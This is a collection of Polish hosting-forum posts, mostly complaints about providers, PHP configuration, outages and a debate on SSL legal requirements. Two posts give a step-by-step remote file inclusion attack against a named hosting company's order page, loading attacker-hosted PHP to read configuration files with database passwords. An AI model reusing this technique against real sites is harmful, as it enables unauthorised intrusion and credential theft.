PeterRiley

Które polskie firmy hostingowe (serwery niekoniecznie w Polsce) udostępniają php5 jako moduł apache'a (nie jako cgi)?

Chciałbym przestrzec wszystkich przed korzystaniem z oferty livenet.pl. Ceny nie są wysokie, ale konfiguracja serwera i obsługa klienta na żenująco niskim poziomie. Po założeniu konta pojawiły się problemy. Po pierwsze do baz postgresa można było dostawać się (np. z poziomu skryptów) z użytkownika "postgres" bez hasła (sic!). Druga sprawa to standardowe kodowanie baz SQL_ASCII i brak możliwości jego zmiany. Problemy zostały zgłoszone do firmy. Po kilkudniowych ponagleniach livenet stwierdził, że załatwienie tych spraw trwa długo, ponieważ mamy niestandardowe i wydziwione żądania. W końcu dostaliśmy informację, że wszystko jest w porządku. Okazało się, że teraz nie tylko nie można zalogować się do bazy użytkownikiem postges, ale żadnym innym stworzonym w tym celu. Rozpoczęła się kolejna batalia, jednak nie starczyło nam cierpliwości i poddaliśmy się zmieniając firmę. Jaki standard komunikacji z klientem prezentuje livenet? E-maile bez wstępu, zaczęte małą literą i bez podpisu. Nie odbieranie telefonu albo odbieranie i natychmiastowe rozłączanie (komórka, livenet nie posiada stacjonarnego numeru). Przerzucanie odpowiedzialności ("nie wiem, admin się tym zajmuje" itp.). Podsumowując radzę omijać z daleka osobom, które chcą wrzucać na serwer coś więcej niż *.html Pozdrawiam Peter Riley

Mam wykupiona domene w webhost.at. Chce jej uzywac w hostingu w innej firmie. W panelu confixx w webhost.at mam wpisy rekordow A, MX i NS wskazujace na ich serwery. Co mam zrobic, zeby podpiac domene do innego hostingu? Powinienem wyrzucic A i MX, a w NS wpisac adresy dns'ow ze swojego hostingu?

Możesz podać podstawę prawną?

A przesyłanie danych przez klienta to "przetwarzanie" czy "przechowywanie"? Ani jedno ani drugie. Podane przez Ciebie przykłady to tylko zalecenia - "dobrze byłoby", "pożądane jest" itd. Podkreślmy jeszcze raz - przepisy nie nakazują sklepom stosowania SSL. Tylko Ty interpretujesz w ten sposób przepisy. Bzdura. Jak mogę być odpowiedzialny za dane, które do mnie nie dotarły? Podaj konkretny przepis, który mówi, że odpowiadam za dane od chwili wysłania ich przez użytkownika, a nie od chwili otrzymania ich przeze mnie. Jeśli nie znasz takiego przepisu, pozostaje "przechowywanie" i "przetwarzanie" które może zachodzić jedynie w przypadku posiadanych danych. To może porozmawiamy kiedy pojawi się taka sprawa? Bo na razie Ty twierdzisz jedno, a wszystkie sądy i urzędy w Polsce co innego (skoro nikt nie został ukarany i nikomu nie nakazano używania SSL). Nie twierdze ze jest niepotrzebne. Bardzo dobrze kiedy jest stosowane. Mowie tylko, ze zadne polskie przepisy nie nakazuja tego robic, co probujesz nam wmowic. Nie rozstrzygam teraz czy powinny to robic czy nie, mowie tylko ze na chwile obecna nie nakazuja i nie potrzeba prawnika zeby to zobaczyc. Wielokrotnie. Nie ma tam słowa na temat szyfrowania danych na etapie przesyłania od klienta do firmy. Czysta manipulacja. Oprócz szyfrowania wspomniano w tym raporcie również o szybkości odpowiedzi mailem - mamy rozumiec, ze to rowniez jest ujete w przepisach? Tam sa opisane wymagania co do idealnego sklepu, a to cos wiecej niz sklep dzialajacy zgodnie z prawem. Roznica jest taka ze ksiegowosc prowadzic trzeba, bo nakazuja to przepisy, a sady i urzedy moga ukarac za jej nie stosowanie, natomiast prawo nie nakazuje uzywania SSL. Podsumowujac, wymog prawny stosowania SSL jest Twoim poboznym zyczeniem. Fajnie jesli sklep go uzywa i na pewno bedzie to docenione przez klientow, ale nie jest to obowiazkiem. Pisanie wobec tego, ze firma nie ma prawa sprzedawac hostingu pod sklep bez SSL jest nieuczciwe w stosunku do tej firmy.

Mowa jest o przechowywaniu danych po ich otrzymaniu. Dane leca po kablu bo uzytkownik je wlasnorecznie wysyla, ale sklep odpowiada za nie dopiero w momencie gdy je otrzyma. Twierdzenie, ze przepisy nakazuja sklepom uzywanie protokolu SSL jest ogromnym naduzyciem. Po prostu wprowadzasz ludzi w blad i tyle. Rzadko ktory sklep czy uslugodawca internetowy uzywa SSL do wysylania danych klienta. Wskaz moze jakas sprawe, w ktorej sąd czy jakiś urząd nakazal sklepowi takie postepowanie.

Kolejna awaria jednego(?) z serwerów WEBD - strona lezy od co najmniej wczesnego popoludnia (10 godzin). Ostatnio awarie sa nagminne, dotychczas jednak byly duzo krotsze. Dzisiaj to juz calkowite przegiecie. Jak dzwonilem po 16 nie potrafili powiedziec ile to potrwa. Czas na zmiane dostawcy.

Czy ktos moglby naskrobac cos o hostingu w no-limit.pl? Wprawdzie oferta wyglada niezle, ceny sa w miare przystepne (49.95 zł rocznie za konto BIZNES jest w sumie do przelkniecia), co najwazniejsze nie ma tych glupich limitow transferow. "Dodatkowe usprawnienia pomogą w usprawnianiu swoich witryn internetowych tak by niczego im nie brakowało i aby sprawnie działały one same" brzmi zachecajaco, tylko jedno mnie martwi, bo maja obok logo napisane "Profesjonalny Hosting Bez Obraniczen". Ciesze sie ze profesjonalny, ale niepokoja mnie te "obraniczenia". Czy to cos bardzo przydatnego? Czy moja strona moze sie obyc bez tych obraniczen? A tak poza tym to http://www.no-limit.pl/zamow/index.php?account=blabla

Instrukcja - wylaczasz na swoim serwie wykonywanie plikow php, zrodlo ma leciec jako plain text. Wgrywasz na swoj serwer skrypt skrypcik.php ktory ma sie odpalic u nich na serwie. Wykonujesz www.no-limit.pl/zamow/index.php?account=http://twojserwer/skrypcik Proste? Sprawdzilem, wyswietlilem w ten sposob konfig z haslami do SQL. Do bazy wiec tez jest dostep.

www.no-limit.pl/zamow/index.php?account=http://tunaszskrypt i includuja nasz kod z zewnetrznego serwa. Dzieki czemu mozemy luknac do np. ich konfiga itd itp etc

Konto w WEBD, kilka tysięcy wizyt dziennie. Plik z logami z lipca zajmuje w tej chwili prawie 600 MB (wg informacji admina). Jest automatycznie pakowany gzipem. Po spakowaniu wazy ponad 30 MB. Sciagam go i probuje rozpakowac w windows. WinRar odpakowuje czesc i konczy komunikatem "CRC Error". Na koncu wypakowanej czesci pojawia sie sieczka (pomieszane fragmenty tekstow z pliku). Uzywajac 7-Zip otrzymuje podobny blad. GZip 1.2.4 (windows) i 1.3.5 (pod linuxem) przerywa w trakcie komunikatem "invalid compressed data--format violated". Proba odkompresowania za pomoca php5 (gzopen itd.) konczy sie na 128 MB. Spakowany plik sciagalem z serwera roznymi klientami FTP (oczywiscie w trybie binarnym) na kilku komputerach. Mniejsze pliki z logami z innych domen odpakowuja sie bez problemow. Kilkudniowa korespondencja z WEBD nie przyniosla rezultatu, caly czas twierdza ze u nich wszystko jest w porzadku. Jaka moze byc przyczyna? Jak dobrac sie do tych logow?

Zainteresowałem się tą ofertą po pochlebnych opiniach na forum i dopytałem ich o kilka rzeczy. Napisali mi, że nie ma możliwości globalnego ustawienia parametrów php na koncie. W standardowych opcjach są u nich takie kwiatki jak register_globals=On i nie dają możliwości zmiany tego ani w php.ini (jak np. superhost) ani .htaccess (jak np. webd). Reszta tutaj: http://don.i365.pl/phpinfo.php http://don.i365.pl/phpinfo.php5 Jak dla mnie to całkowita dyskwalifikacja.

Tak, ale znajac realia mozna zrozumiec to ich defaultowe "on". Widze, ze sam dzwiek "register_globals" porusza tu jakas wrazliwa strune i zostalem zle zrozumiany. Niech sobie bedzie defaultowo on, byleby mozna bylo to, jak i inne opcje, zmienic.

Długo nie podziałał... znów leży. EDIT: To było wczoraj - kolejny kilkugodzinny pad, a dzisiaj to samo, od godziny leży.

No wlasnie chodzi o to, ze jak dasz mozliwosc indywidualnej zmiany parametrow, to kazdy ustawi jak bedzie chcial i wszyscy beda zadowoleni.

To ciekawe po jakim czasie od publikacji doczekamy sie tej wersji w hostingu, eh. To jasne, niech sobie ustawiaja register_globals=on, byleby dali mozliwosc indywidualnego wylaczenia.

Tak ma, ale umozliwia zmiane. Nie chodzi tylko o te opcje, to przyklad. Nie zgodze sie. To nie jest opcja serwera, tylko php. Jest troche opcji w konfiguracji php, ktore wygodnie jest moc dostosowac do wlasnych potrzeb, a nie zostawiac "specjalistom", ktorzy czesto akurat na polu php (a czasem i na innych polach) poruszaja sie gorzej od nas. Inne firmy to rozumieja i pozwalaja dostosowac te ustawienia za pomoca php.ini lub .htaccess. Robilem strony dla roznych firm, korzystalem z roznych hostingow, ale z takim czyms spotykam sie pierwszy raz. Albo mialem szczescie, albo po prostu praktyka i standardem jest dopuszczenie konfiguracji przez uzytkownika podstawowych opcji php. Kupowac dedyka tylko po to, zeby miec mozliwosc zmiany kilku prostych opcji w php? Na szczescie nie ma takiej potrzeby, bo takie podejscie do klienta firmy hostingowej odchodzi w przeszlosc. Jak wspomnialem wczesniej, i365 wprost napisał mi, że nie mozna zmieniac tych ustawien.

@patryk: Ale moze home.pl dopuszcza zmiane tego parametru indywidualnie przez uzytkownikow? Nic nie mam przeciwko takiej opcji jako default (tak jest na wiekszosci hostingow) pod warunkiem umozliwienia uzytkownikom jej zmiany (tak tez jest na wiekszosci hostingow). @koliber2: Widze, ze Ty nie czytasz for roznych skryptow, moze dlatego ze masz problemy z czytaniem ze zrozumieniem, a zamiast tego wyskakujesz z obrazaniem innych? Akurat nie uzywam zadnych gotowych systemow. Nie chce mi sie dyskutowac tutaj czy register_globals jest czyms zlym czy nie, jak Ty czytales strony ktore to zalecaja to sobie stosuj u siebie. Widze, ze robisz za chcacego naprawiac swiat proroka ze sklonnoscia do reakcji na konkretne frazy w tekscie (register_globals) niezaleznie od kontekstu. Co do niewiedzy - wiem, do czego sluzy ta opcja i chce ja wylaczyc, jak pewnie wiekszosc uzytkownikow. Proste? Mi chodzi o to, ze w i365 nie mam mozliwosci wlasnorecznego dobrania podstawowych parametrow php. Register_globals to jedna z nich, ale przeciez sa i inne. Oczywiscie, mozna sobie z tym poradzic, ale to znacznie utrudnia prace. Z tego co widzialem korzystajac z uslug innych firm, mozliwosci zmiany tych ustawien przez lokalne php.ini czy .htaccess to standard, zdziwil mnie wiec brak takiej mozliwosci w i365 i dlatego o tym pisze.

13 a nie 4. Ale czy to wazne - przerwa w dzialaniu przez dobe to i tak o wiele za dlugo niezaleznie od ceny. EDIT: Baza danych ocalała, ale pliki pochodzą z backupu sprzed kilku dni.

Widze swoja strone dostepna w subdomenie webd.pl, do bazy wchodze normalnie z poziomu panelu, ostatnie wpisy sa tuz sprzed godz. 14 kiedy nastapila awaria. Ale domeny nie sa podpiete. Przy okazji - wyglada na to, ze wrzucili wreszcie php5 i mysql5.

"Zwykly" total commander pokazuje ze plik po rozpakowaniu bedzie mial ok. 3 MB, przy rozpakowywaniu zaczyna kilka razy od poczatku, a w koncu pokazuje sie blad.

Po doswiadczeniach z php5 cgi na WEBD. Byc moze przy odpowiedniej konfiguracji wszystko smiga, ale tam mialem problemy typu dlugie wczytywanie stron czy Internal Server Error od przypadku do przypadku. Natomiast PHP4 jako mod dziala tam bez zarzutu. Dlatego sie zrazilem do CGI.

Ostrzegam wszystkich przed korzystaniem z uslug tej "firmy". Więcej tutaj: http://www.webhostingtalk.pl/index.php?showtopic=2918&hl=

Mam konto na serwerze WEBD.pl. Jeden z katalogów zabezpieczony jest hasłem (autoryzacja http). Stworzony jest jeden użytkownik z uprawnieniami do przeglądania tego katalogu. Jakież było moje zdziwienie kiedy zaglądając do statystyk AWSTATS w rubryce Authenticated users zobaczyłem kilkadziesiąt połączeń od zupełnie innego użytkownika. Sprawdziłem w panelu - nadal do katalogu przypisany jest wyłącznie stworzony przeze mnie użytkownik, po tym drugim ani śladu. Co mogło się stać? Czyżby ktoś z pracowników WEBD?

Nie wiem czy sie dobrze zrozumielismy - te polaczenia byly od uzytkownika, ktorego nie ma na liscie i nigdy nie byl przeze mnie dodawany. Hasla do panelu nikomu nie dawalem i bylo dosc trudne, stad podejrzenie ze ktos z firmy hostingowej maczal w tym palce.